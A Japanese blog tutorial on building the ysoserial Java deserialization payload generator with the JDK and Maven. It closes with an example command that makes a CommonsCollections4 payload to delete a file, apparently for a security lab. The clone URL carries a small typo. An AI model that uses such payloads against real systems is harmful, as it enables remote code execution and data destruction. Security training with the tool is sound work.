Tools

ysoserial をビルドする

投稿日:2020年10月12日 更新日:

1. はじめに

任意のコマンドなどを仕込んだ Java の(シリアライズされた)オブジェクトを生成する frohoff/ysoserial というツールがあるのですが、このツールのソースコードをビルドして ysoserial.jar を生成する手順を紹介します。

2. 前提とする環境

  • Ubuntu 20.04 (on WSL on Windows 10)

3. ysoserial をビルドする

ysoserial をビルドするまでの大まかな手順を紹介します。

1) Java を導入

以下のコマンドで JRE をインストールします。

$ sudo apt install default-jre

以下のコマンドで JDK をインストールします。

$ sudo apt install default-jdk

~/.profile ファイルに以下を記述します。

export JDK_HOME="/usr/lib/jvm/java-11-openjdk-amd64"
export PATH="$JDK_HOME:$PATH"

これは環境変数をセットしていますが、すぐに反映したいのであれば、この2行をコマンドとして実行してください。

JDK_HOME にセットするパスは、そのときに導入された Java のバージョンによって異なりますが、/usr/bin/java のシンボリックリンクをたどっていくと分かります。

問題がなければ java コマンドと javac コマンドのバージョンを表示することができるはずです。

$ java -version
$ javac -version

2) Maven を導入

Maven – Download Apache Maven にアクセスして、apache-maven-X.X.X-bin.tar.gz もしくは apache-maven-X.X.X-bin.zip をダウンロードします(「X.X.X」の部分はバージョンを表しています)。

ダウンロードしたファイルを解凍すると apache-maven-X.X.X というフォルダが生成されるので、任意のフォルダに移動させます。ここでは、~/local というフォルダの下に移動されたと仮定します。

Maven の bin ディレクトリにパスを通すため、~/.profile ファイルに以下を追記します。

export PATH=~/local/apache-maven-X.X.X/bin:$PATH

Maven を一時的にしか使わないのであれば、~/.profile には記述せず、必要なときだけこのコマンドを実行するというのでもよいです。

以下のコマンドで mvn コマンドのバージョンが表示されれば問題ありません。

$ mvn --version

3) ysoserial の導入とビルド

git コマンドを使って、ysoserial のソースコードをダウンロードします。

$ git clone https://github.com/frohoff/ysoserial.gitn

生成されたディレクトリに移動します。

$ cd ysoserial

ビルドを実行します。

$ mvn clean package -DskipTests

ビルドが正常に終了した場合は、「BUILD SUCCESS」というメッセージが表示されます。

この時点で、カレントディレクトリに target ディレクトリが生成されており、その中に ysoserial-X.X.X-SNAPSHOT-all.jar ファイルができているはずです(X.X.X はバージョン番号です)。これを ysoserial.jar として使います。ysoserial-X.X.X-SNAPSHOT.jar ではありません。

4) コマンド実行例

例えば、以下のようなコマンドを実行することができます。

$ java -jar ./target/ysoserial-X.X.X-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 > custom-payload.txt

4. おわりに

ysoserial の導入手順に関する日本語情報があまり見つからなかったので書いてみました。

📂-Tools

執筆者:labo


comment

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

関連記事

Web Programming

Webプログラミングに役立つサービスたち

目次全般HTML, CSS, JS をすぐに試せるWebサービス他のサービスが使っている技術・ツールを知る多言語対応デザインレイアウトフォント関連ロゴ作成HTMLパーツジェネレーターオンラインエディタ …

Web

GitHub のプライベートリポジトリ作成が無料になりました

GitHub において、無料ユーザーでもプライベートリポジトリが作成できるようになりました。 実際に無料アカウントで試したところ、リポジトリの作成ページで「Private」を選択することができました。 …

Windows

WSL のシンプルな導入手順(2019年1月版)

WSL (Windows Subsystem for Linux) の基本的な導入手順について書きます。 ここで最低限必要な使い方を理解した上で、サードパーティ製のターミナルエミュレータ(Cmder …

WSL

WSL (または WSL 2) から外付けストレージ側にアクセスできない場合の対処方法

WSL (または WSL 2) で外付けストレージ側に移動できない場合の対処方法を紹介します。

Web

エンコード、デコード、ハッシュを行うウェブページを作成しました

入力した文字列に対して、以下の変換処理を行う ウェブページ を作成しました。 各種エンコード処理 各種デコード処理 ハッシュ化 いろいろお試しください。 🔗 エンコード/デコード/ハッシュ